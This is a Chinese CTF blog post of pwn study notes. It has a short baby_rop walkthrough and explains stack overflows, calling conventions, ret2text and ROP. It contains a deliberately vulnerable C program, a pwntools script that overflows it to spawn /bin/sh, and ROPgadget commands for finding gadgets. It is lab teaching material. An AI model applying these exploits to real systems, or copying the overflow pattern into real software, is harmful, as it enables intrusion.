pwn 01

1.baby_rop

用checksec查看文件,发现是六十四位

我们用ida打开,shift和f12查看字符串找到system以及/bin/sh,找到地址位置e322a78939f5450289ebddac425dadee.jpg

a67aefd4bf6345cb8408d63410140817.jpg 

3bcef5f7ae8c47a2b52a251a894d74b1.jpg 

 点击f5进行反编译,查看主函数

38d76572b2ae45b49f203992f9be5708.jpg

 最后编写脚本得到flag6b5bb51efdb049fa993bc1306779c394.jpg

 2.笔记整理

栈溢出


栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有控制好。

不同架构下的寄存器传参方式

64位

1.RDI (Destination Index): 用于传递第一个整数参数。

 

2.RSI (Source Index): 用于传递第二个整数参数。

 

3.RDX (Data Register): 用于传递第三个整数参数。

 

4.RCX (Counter Register): 用于传递第四个整数参数。

 

5.R8: 用于传递第五个整数参数。

 

6.R9: 用于传递第六个整数参数。

 

若参数超过6个,超过参数用栈传递

32位

参数直接使用栈传参

ret2text
原理
ret2text的原理是控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

前置条件
1.程序存在栈溢出漏洞,可以覆盖返回地址。

2.程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。

3.程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址。

 

构造ROP传参


多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起,此时就需要传参。

32位中构造ROP传参
#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

char shell[] = "/bin/sh";

int func(char *cmd){
    system(shell);

    return 0;

}

int dofunc(){
    char a[8]={};

    write(1,"inputs: ",7);

    read(0,a,0x100);

    return 0;

}

int main(){
    dofunc();

    return 0;

}

 

利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。

 

from pwn import *

#配置信息

context(log_level='debug',arch='i386',os='linux')

#context(arch='arm64',os='linux')

#打开路径

file = './ret2text_func2_x86'

io = process(file)

elf = ELF(file)

#注入信息

sh_addr = 0x804c018

#ret_addr = 0x8049186

ret_addr = elf.symbols['func']

padding = 0x14

payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)

dem = b'inputs:'

io.sendlineafter(dem,payload)

io.interactive()

 

64位中构造ROP传参


对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。

ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。

知道了ROP工具的功能,我们需要做的是

1.修改rdi的值(可使用代码pop rdi ; ret)

2.在栈中放入‘bin/sh’经由pop提交给rdi

3.进入func函数内调用system函数

 利用ROPgadget查找需要的代码行--pop rdi ; ret

ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'

也可用ropper查询。

ropper --file 文件名 --search "pop|ret"

  • 39
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值